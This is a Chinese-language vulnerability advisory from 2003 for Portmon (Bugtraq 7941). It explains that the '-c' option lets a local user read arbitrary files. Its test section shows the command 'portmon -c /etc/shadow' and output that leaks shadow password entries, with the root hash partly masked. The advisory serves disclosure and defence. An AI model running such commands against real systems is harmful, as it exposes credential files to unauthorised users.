发布日期：2003-06-17
更新日期：2003-06-24

受影响系统：

Portmon Portmon 1.7
Portmon Portmon 1.6
Portmon Portmon 1.5
Portmon Portmon 1.4
Portmon Portmon 1.3
Portmon Portmon 1.2
Portmon Portmon 1.1
Portmon Portmon 1.0
Portmon Portmon 0.9
Portmon Portmon 0.8
Portmon Portmon 0.7
Portmon Portmon 0.6
Portmon Portmon 0.5
Portmon Portmon 0.4
Portmon Portmon 0.3
Portmon Portmon 0.2
Portmon Portmon 0.1

描述：

---

BUGTRAQ  ID: 7941

portmon是一款网络服务监视程序。

portmon不正确处理部分命令行选项内容，本地攻击者可以利用这个漏洞查看系统敏感文件信息。

portmon对'-c'查看主机名选项缺少正确处理，本地攻击者提交系统敏感文件作为此选项数据，可导致portmon盲目打开此文件，而导致敏感信息泄露。

<*来源：Luca Ercoli （luca.ercoli@inwind.it）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105595957023709&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luca Ercoli （luca.ercoli@inwind.it）提供了如下测试方法：

[lucae@linux lucae]$portmon -c /etc/shadow

Unable to resolve hostname
root:$1$nsqR6sX$ItXXXXXXXXXXXXXXXXX.:12172:0:99999:7:::
Unable to resolve hostname bin:*:12172:0:99999:7:::
Unable to resolve hostname daemon:*:12172:0:99999:7:::
Unable to resolve hostname adm:*:12172:0:99999:7:::
Unable to resolve hostname lp:*:12172:0:99999:7:::
Unable to resolve hostname sync:*:12172:0:99999:7:::
Unable to resolve hostname shutdown:*:12172:0:99999:7:::
Unable to resolve hostname halt:*:12172:0:99999:7:::
Unable to resolve hostname mail:*:12172:0:99999:7:::
Unable to resolve hostname news:*:12172:0:99999:7:::

<snip>

建议：

---

厂商补丁：

Portmon
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.aboleo.net/software/portmon/

浏览次数：2805
严重程度：0（网友投票）